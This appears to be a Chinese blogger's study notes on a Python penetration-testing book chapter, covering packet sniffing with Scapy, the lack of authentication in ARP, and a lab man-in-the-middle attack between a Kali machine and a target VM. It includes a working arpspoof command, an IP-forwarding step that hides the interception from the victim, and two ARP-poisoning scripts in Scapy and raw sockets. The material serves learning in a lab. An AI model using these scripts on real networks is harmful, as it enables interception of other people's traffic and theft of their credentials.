《Python渗透测试编程技术:方法与实践》:网络嗅探与欺骗
第八章 網絡嗅探與欺騙
漏洞滲透程序在網絡中都以數據包形式傳輸,如果能對網絡中的數據包進行分析,就可以深入掌握滲透原理,另外,很多網絡攻擊方法都是利用精心構造的數據包來完成,例如常見的ARP欺騙,利用這種欺騙方式黑客可以截獲受害者計算機與外部通信的全部數據,例如受害者登錄使用的用戶名與密碼、發送的郵件等。
場景:一個黑客靜靜地潛伏在你身邊,他手中的設備將每一個經過你的計算機的網絡數據都復制了一份。互聯網中大部分數據都沒有采用加密的方式傳輸,這就意味著你在網絡上的一舉一動都在別人的監視下。例如,使用HTTP、FTP、Telnet所傳輸的明文一旦被監聽,那么里面的信息也直接會泄露。有經驗的黑客都可以輕而易舉地通過抓包工具來捕獲這些關鍵信息,從而突破網絡,竊取網絡中的秘密。網絡中最著名的一種欺騙攻擊被稱為“中間人攻擊”。在這種攻擊方式中,攻擊者會同時欺騙設備A和設備B,設法讓設備A誤認為攻擊者的計算機是設備B同時讓設備B誤認為攻擊者的計算機是設備A,從而將設備A和設備B之間的通信全部都經過攻擊者的設備。
當然,網絡安全人員也可以使用這些抓包工具發現黑客的不法入侵行為。
8.1、網絡數據嗅探
8.1.1編寫一個網絡嗅探工具
Scapy中提供了專門用于捕獲數據包的函數sniff()。這個函數功能十分強大,直接使用這個函數捕獲整個網絡的通信,會導致堆積大量數據,如果不加以過濾,將會很難從其中找到需要的數據包。因此sniff()函數還支持過濾器,這個過濾器使用了一種功能非常強大的過濾語言——“伯克利包過濾”規則(Berkeley Packet Filter ,BFT),利用BFT規則可以確定該獲取和檢查哪些流量,忽略哪些流量,通過比較各個層協議中數據字段值的方法對流量進行過濾。
一段短小精悍的數據嗅探工具代碼如下:
【小tips:kali虛擬機要和主機有交互才能抓包,不然沒包怎么捕獲嘛?所以可以通過什么服務讓他們先連通,有數據交互才可以,比如我用了ping命令。
代碼一直沒有結果,我又花了半天時間,一直沒有,就算是在終端直接輸入scapy然后輸入sniff那個語句,都是沒有結果的,一直在運行中~~
我看了書,也對比了我照著敲的代碼,標點符號都不差一個,然后還是沒有結果。最后我認為應該是kali和主機沒有交互,所以我打開終端輸入ping192.168.66.1,果然就有結果了。
】
費了好大力氣,才找到這個文件目錄,肯定是之前重新安裝把路徑改了,導致這個project文件直接跑到root目錄下了。
還有一個問題就是,我打不開這個后綴格式的文件,所以看不到里面的內容,但是這個文件都存在了,代碼執行應該是沒問題的啦!
8.1.2用wireshark查看數據包
查看到我們之前抓包結果如下:
當在數據包列表面板中選中一個數據包之后,在數據包信息面板中可以查看這個數據包的詳細信息,在數據包原始列表中可以看到這個數據包的原始信息。
將數據包詳細信息展開,可以發現有四層,一個數據包在網絡中傳輸通常要使用多個協議,這些協議一層層將要傳輸的數據包裝起來。將前面的黑色三角形展開,每一個三角形對應一層數據的詳細信息。【這個在計算機網絡(以及網絡工程師考試學習)中有講過,關于數據在網絡中的傳輸流程】
8.2 ARP原理與缺陷
ARP主要原因是以太網中使用設備的交換機并不能識別IP地址,只能識別硬件地址,在交換機中維護著一個內容可尋址寄存器(content address memory,CAM)。
#交換機每一個端口所連接設備的硬件地址對應表,如下所示。如果交換機h3c收到一個發往特定MAC地址(比如000f-e2b2-2eeb 1)的數據包時,首先查找 CAM中有無對應表項,如果有就講數據包發往這個端口(下面可以看到,表的第一行內容,端口為GigabitEthernet1/0/52) #1、在樓層交換機查看各端口連接的ip電腦 h3c>dis mac-address MAC ADDR VLAN ID STATE PORT INDEX AGING TIME(s) 000f-e2b2-2eeb 1 Learned GigabitEthernet1/0/52 AGING 000f-e2bd-1f2a 1 Learned GigabitEthernet1/0/52 AGING a86b-7c24-b7ac 1 Learned GigabitEthernet1/0/52 AGING 000f-e2b2-2eeb 17 Learned GigabitEthernet1/0/52 AGING 0023-ae76-9f8c 17 Learned Ethernet1/0/21 AGING 0023-aeaa-1919 17 Learned Ethernet1/0/24 AGING 0027-197c-3e1d 17 Learned Ethernet1/0/22 AGING #2、通過lansee軟件查看IP與對應的mac地址,找到相應的客戶端電腦。#3、在核心交換機中,查看所有光口連接的vlanID即,那些樓層交換機 >dis mac-address vlan 17 MAC ADDR VLAN ID STATE PORT INDEX AGING TIME(s) 0023-ae76-9f8c 17 Learned GigabitEthernet3/0/12 AGING 0023-aeaa-1919 17 Learned GigabitEthernet3/0/12 AGING 0027-197c-3e1d 19 Learned GigabitEthernet3/0/15 AGING 0080-91af-682e 19 Learned GigabitEthernet3/0/15 AGING既然軟件中使用的是IP地址,但是交換機卻使用的MAC地址,那么網絡傳輸中的某個階段肯定發生了IP地址與MAC地址的轉換,這個轉換過程發生在數據包到達交換機之前,在每一臺支持ARP的主機中都有一個ARP表,這個表保存了已知的IP地址與MAC地址的對應關系。下面是Windows操作系統中的ARP表,例如當想要和192.168.137.111通信時,首先查找到表中第一行,發現其對應MAC地址為2a-d6-b3-1d-8b-a6 ,所以發送數據包時要添加這個MAC地址。這樣交給交換機之后,才能成功找到對應接口轉發出去。
那么,當主機想要通信的IP地址192.168.137.55不在表項中怎么辦呢?這時就要用到ARP,主機先發送一個ARP請求,內容大概為“注意了,我的IP是192.168.137.1,物理地址是 2A-28-19-0E-3E-D3【可以用ipconfig -all查看本機的IP和MAC地址】,IP地址為192.168.137.55的主機在嘛?我需要和你進行通信,請告訴我你的物理地址,收到請回答”。這個請求數據包會以廣播形式發送給網段中的所有設備,但是只有目標主機即IP地址為192.168.137.55的主機會應答,目標主機先將IP192.168.137.1和物理地址 2A-28-19-0E-3E-D3作為新的表項添加到自己的ARP表中,然后回應:“hi,我就是那個ip地址為192.168.137.55的主機,我的物理地址是33-33-33-33-33-33”。源主機收到并解析完成后,會將這個表項也添加到自己的ARP表中。
不難發現,這個ARP協議過程中沒有任何認證機制,如果一臺主機收到的ARP請求數據包形如“注意了,我的IP是XXXXX,物理地址是XXXXXX,IP地址為192.168.137.55的主機在嘛?我需要和你進行通信,請告訴我你的物理地址,收到請回答”的數據包,不會對其進行真偽判斷,都會將其添加到ARP表中并作出應答。因此,黑客可能會利用這個漏洞來冒充主機。
8.3 ARP欺騙原理
8.3.1、實驗網絡配置
kali虛擬機 IP:192.168.88.129 MAC:00:0C:29:AF:CD:93 網關:192.168.88.2 要欺騙的目標主機 IP:192.168.88.132 MAC: 00-0C-29-D8-D0-08 網關:192.168.88.2 網關信息 網關:192.168.88.2 MAC:00:50:56:e1:3c:e0
8.3.2、演示工具安裝
通過前面的分析,現在我們只需要將目標主機的ARP表中的192.168.88.2表項修改為攻擊機kali的硬件地址即可。如果是動態ARP,修改起來很簡單,因為主機收到ARP請求后不會判斷真偽,直接將對應IP和MAC加入ARP表項中,如果IP已經存在,只需要將對應的MAC修改即可。
kali中提供了很多能給進行網絡欺騙的工具,書上以典型的arpspoof為例演示。
8.3.3、演示一次網絡欺騙
sudo arpspoof -i eth0 -t 192.168.88.132 192.168.88.2現在被欺騙的目標主機會把kali攻擊機192.168.88.129當做網關,可以在目標主機上看到,此時kali攻擊機和網關192.168.88.2的MAC地址是一樣的。
8.3.4、截獲目標主機發往網關的數據包
arpspoof完成了對目標主機的欺騙,可以截獲目標主機發往網關的數據包,但是需要借助別的工具查看,比如打開wireshark查看即可。
在目標主機打開網頁,百度一下。即可在攻擊機獲取數據
可是有個問題,目標主機上無法正常上網了,因為現在攻擊機捕獲了數據包,沒有轉發出去。
8.3.5、將捕獲的數據包轉發給網關
為了讓目標主機能夠正常上網,需要在kali攻擊機開啟轉發功能。
┌──(kaligan?studygan)-[~/Desktop] └─$ sudo -i [sudo] kaligan 的密碼: ┌──(root?studygan)-[~] └─# echo 1 >> /proc/sys/net/ipv4/ip_forward
這樣子的話,目標主機就可以正常上網,無法察覺自己受到了攻擊。
可是我有個問題誒~
雖然我們可以在wireshark上面看到有那么多數據包,但是實際內容我也不會分析呀!對我來說,抓到這些包能干啥呢?我都看不到目標主機的搜索內容啥的。害,路漫漫其修遠兮,fighting,之后有一天估計會學到怎么分析查看捕獲的具體內容的吧?
8.4 中間人欺騙
查看ARP數據包格式,主要參數為op(ARP類型,值為1表示ARP請求) 、psrc (源IP)、pdst (目的IP)。實驗是將攻擊機的地址偽造成網關地址,所以psrc應該是網關IP,pdst是攻擊機IP。
>>> ls(ARP) hwtype : XShortField = (1) ptype : XShortEnumField = (2048) hwlen : FieldLenField = (None) plen : FieldLenField = (None) op : ShortEnumField = (1) hwsrc : MultipleTypeField = (None) psrc : MultipleTypeField = (None) hwdst : MultipleTypeField = (None) pdst : MultipleTypeField = (None)需要使用Ether層將數據包發出去,我們看下Ether層數據包格式
>>> ls(Ether) dst : DestMACField = (None) src : SourceMACField = (None) type : XShortEnumField = (36864)8.4.1、一個簡單的ARP欺騙程序
import time from scapy.all import sednp,ARP,Ether victimIP="192.168.88.132" gatewayIP="192.168.88.2" packet = Ether()/ARP(psrc=gatewayIP,pdst=victimIP) while 1:sendp(packet)time.sleep(10) packet.show()運行上述程序,目標主機這邊已經把攻擊機的IP表項寫入ARP表了。
可以看到kali攻擊機這邊arp表還是正常的
8.4.2、一次中間人欺騙
一次中間人欺騙需要同時對目標主機和網關進行欺騙,圖8-22是目標主機與網關之間的過程、圖8-23是實現中間人欺騙后目標主機與網關直接的通信方式。
在ARP欺騙程序上實現中間人欺騙:
在kali打開wireshark,過濾器設置為icmp。將下述程序以ARPPoison.py保存并在pycharm中執行,然后再目標主機上執行“ping 192.168.88.2”。
這時候在攻擊機可以看到原本在目標主機上才能看見的數據包。如果之前沒有在攻擊機轉發數據包的話,目標主機是ping不通網關的,因為沒有返回的數據包,ping要有去有回才能通。
#在攻擊機轉發數據包 sudo -i echo 1 >> /proc/sys/net/ipv4/ip_forward下圖可以看出,目標主機與網關的通信,中間接入了kali攻擊機,所以在kali可以捕獲并查看目標主機與網關的通信數據包。
8.4.3 用socket實現中間人欺騙
import socket import struct import binascii #socket.ntohs(0x0800)協議類型8表示ARP協議,十六進展為\x08\x00 #socket沒有綁定IP地址,而是綁定了網卡“eth0”,因為要發送的是以太幀,這個以太幀是由目的地的MAC決定的,而不是由IP決定的。 s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0", socket.htons(0x0800))) #源MAC地址【kali虛擬機的MAC地址】,發送端以太網地址 srcMAC = b'\x00\x0C\x29\xAF\xCD\x93' #目的MAC地址【目標主機MAC】,目的以太網地址 dstMAC = b'\x00\x0C\x29\xD8\xD0\x08' #以太網幀類型,\x08\x06表示ARP類型 code = b'\x08\x06' #硬件類型,1表示以太網,十六進制為\x00\x01 htype = b'\x00\x01' #協議類型,\x08\x00表示ARP協議 protype = b'\x08\x00' #硬件地址長度,\x06表示6位硬件地址 hsize = b'\x06' #協議地址長度,\x04表示4位IP地址 psize = b'\x04' #op=1表示請求,op=2表示回應 opcode = b'\x00\x01' #網關地址,發送端IP地址 gatewayIP = '192.168.88.2' #目標主機地址,目的IP地址 victimIP = '192.168.88.132' #socket.inet_aton(ip_string),將IPv4地址字符串(如192.168.88.2)轉為32位打包的網絡字節。 #socket.inet_ntoa(ip_string),將32位的網絡字節轉為用標準點號分隔的IP地址。 packet = dstMAC+srcMAC+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP) while 1:s.send(packet)運行程序后,可在目標主機用查看ARP表。可以看到網關的硬件地址已經變成攻擊機的硬件地址,說明ARP欺騙已經成功,現在目標主機發往網關的流量都被劫持到kali攻擊機上了。
【不知道為啥哈,我開始運行的時候,目標主機的arp表一直都沒變。主機、kali攻擊機我都重啟過,但還是沒有預期結果。后來,我在運行kali機運行的同時,在目標主機啟動ping192.168.88.129,與kali攻擊機能ping通,然后再查看ARP表,結果就變成下面那個圖的樣子啦~】
總結
以上是生活随笔為你收集整理的《Python渗透测试编程技术:方法与实践》:网络嗅探与欺骗的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: dbc:oracle:thin,没安装E
- 下一篇: 飞腾腾锐D2000-国产CUP